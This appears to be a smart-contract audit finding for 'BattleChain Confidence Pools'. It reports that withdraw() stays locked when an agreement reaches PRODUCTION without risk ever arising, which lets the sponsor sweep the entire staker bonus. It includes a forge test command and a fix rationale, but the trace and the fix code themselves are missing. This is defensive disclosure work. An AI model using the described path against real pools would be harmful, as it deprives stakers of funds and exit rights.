BattleChain Confidence Pools

Description

• withdraw() is the documented staker escape hatch: stakers can fully exit while the registry is in any pre-attack state, and the design doc states the sponsor cannot grief stakers by keeping the agreement out of attackable mode — stakers can freely exit until risk materializes.

• BattleChain's AttackRegistry exposes goToProduction(), a legitimate, no-fee, sponsor-callable function that moves an agreement straight from unregistered to the terminal PRODUCTION state, skipping the attack phase entirely. withdraw()'s gate keys only on registry state membership, not on whether risk was ever actually observed, so this path both permanently blocks withdrawal and guarantees riskWindowStart stays zero — forcing _bonusShare to pay every staker zero while the sponsor sweeps the full bonus.

Risk

Likelihood:

• goToProduction() is a standard, documented, no-fee/no-bond registration path any agreement owner uses when the agreement doesn't need the attack phase — it is not a rare or adversarial call, it is one of the ordinary ways an agreement reaches PRODUCTION, and the pool's own sponsor is that agreement owner by construction (createPool requires IAgreement(agreement).owner() == msg.sender).

• Any sponsor who registers this way, with or without intent to disadvantage stakers, produces the exact same on-chain result: withdraw() locked and riskWindowStart at zero for the pool's entire remaining lifetime, so the condition triggers on ordinary registry usage rather than requiring a contrived attack sequence.

• The real AttackRegistry makes this reachable with zero malicious or sponsor-initiated action at all. AttackRegistry._getAgreementState (lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:872-874) auto-promotes to PRODUCTION purely from elapsed time — if (block.timestamp >= info.deadlineTimestamp) return ContractState.PRODUCTION; — and this check is evaluated before the attackRequested fallback and is not gated on attackApproved at all. deadlineTimestamp is set to registration time + PROMOTION_WINDOW (14 days, AttackRegistry.sol:51,794) the moment an agreement calls requestUnderAttack. So an agreement that requests attack mode and is simply never approved by the registry DAO within 14 days transitions ATTACK_REQUESTED → PRODUCTION automatically, skipping UNDER_ATTACK/PROMOTION_REQUESTED entirely — the identical precondition this finding exploits, arising from ordinary DAO inaction rather than any sponsor decision.

Impact:

• Stakers lose the documented exit option the moment the sponsor takes this path, with zero risk ever having materialized — directly contradicting docs/DESIGN.md §9's stated invariant that the sponsor cannot grief stakers this way.

• 100% of the contributed bonus pool is captured by the sponsor via sweepUnclaimedBonus() after resolution, while every staker who wanted early liquidity was already locked in with no compensating bonus ever possible.

Note: docs/DESIGN.md §9 states this verbatim — "A sponsor cannot grief stakers by keeping the agreement out of attackable mode — stakers can freely exit until risk materializes." withdraw()'s actual gate blocks on registry state alone, so PRODUCTION reached with riskWindowStart == 0 (risk never materialized) still locks withdrawal — a direct contradiction of the documented invariant.

Proof of Concept

Run: forge test --match-path "test/ProductionWithdrawTrap.t.sol" -vvvv → PASS (gas: 533927)

Trace (-vvvv)

Recommended Mitigation

The added carve-out keeps withdraw()'s gate aligned with the same "no observable risk" semantics _bonusShare already uses elsewhere in the contract: PRODUCTION reached with riskWindowStart == 0 means no active-risk state was ever recorded, so there is nothing for the exit hatch to protect against. Every other path to PRODUCTION (i.e. one that passed through UNDER_ATTACK/PROMOTION_REQUESTED first) still permanently locks withdrawal exactly as before — this only reopens the hatch for the specific case where risk genuinely never materialized, matching docs/DESIGN.md's stated invariant that stakers can freely exit until risk does.